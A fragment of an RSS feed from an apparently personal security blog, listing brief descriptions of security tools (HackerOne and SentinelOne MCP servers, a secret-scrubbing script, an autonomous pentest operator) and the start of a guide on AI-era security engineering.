				<description>&lt;p&gt;MCP server for HackerOne triage teams. Full read/write access to reports, triage workflows, severity ratings, assignments, and program management &amp;ndash; all from your AI assistant. Single Go binary, zero external dependencies.&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&#34;https://github.com/c0tton-fluff/hackerone-mcp&#34;&gt;c0tton-fluff/hackerone-mcp&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Secret Scrubber</title>
				<link>https://johnmatrix.org/brain-sharing/secret-scrubber/</link>
				<pubDate>Fri, 17 Jul 2026 13:43:41 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/secret-scrubber/</guid>
				<description>&lt;p&gt;Find and scrub secrets from AI CLI session logs. AWS keys, SSH private keys, GitHub tokens, JWTs, Bearer tokens, cloud credentials &amp;ndash; replaced with &lt;code&gt;[REDACTED-&amp;lt;type&amp;gt;]&lt;/code&gt; markers while preserving conversation context. Zero dependencies, stdlib-only Python.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SentinelOne MCP Server</title>
				<link>https://johnmatrix.org/brain-sharing/sentinelone-mcp-server/</link>
				<pubDate>Fri, 17 Jul 2026 13:43:41 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/sentinelone-mcp-server/</guid>
				<description>&lt;p&gt;MCP server for SentinelOne EDR. Query threats, manage agents, run Deep Visibility hunts, and check hash reputation from AI assistants. Stdlib-only Go binary - zero external dependencies.&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&#34;https://github.com/c0tton-fluff/sentinelone-mcp-server&#34;&gt;c0tton-fluff/sentinelone-mcp-server&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;architecture&#34;&gt;Architecture&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Claude Code  --&amp;gt;  stdio  --&amp;gt;  sentinelone-mcp-server (Go)  --&amp;gt;  REST API  --&amp;gt;  SentinelOne Console&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Single binary, no SDK dependencies. Uses Go stdlib &lt;code&gt;net/http&lt;/code&gt; + &lt;code&gt;encoding/json&lt;/code&gt; for all API communication.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Phantom</title>
				<link>https://johnmatrix.org/brain-sharing/phantom/</link>
				<pubDate>Fri, 17 Jul 2026 10:43:50 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/phantom/</guid>
				<description>&lt;p&gt;Autonomous penetration testing operator. Native Go detectors, signal-based attack planning, and an engagement engine that chains findings into critical-severity paths. Designed to work with AI assistants as the reasoning layer while Go handles all detection at machine speed.&lt;/p&gt;</description>
			</item>
			<item>
				<title>The AI-Era Security Engineer</title>
				<link>https://johnmatrix.org/brain-sharing/ai-era-security-engineering/</link>
				<pubDate>Fri, 17 Jul 2026 10:43:50 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/ai-era-security-engineering/</guid>
				<description>&lt;h1 id=&#34;the-ai-era-security-engineer&#34;&gt;The AI-Era Security Engineer&lt;/h1&gt;&#xA;&lt;p&gt;A practical guide for security professionals building, specifying, and reviewing code in the age of AI-assisted development.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-mindset-shift&#34;&gt;The Mindset Shift&lt;/h2&gt;&#xA;&lt;p&gt;Traditional security review: find vulnerabilities in human-written code.&lt;/p&gt;</description>
			</item>
	</channel>
</rss>
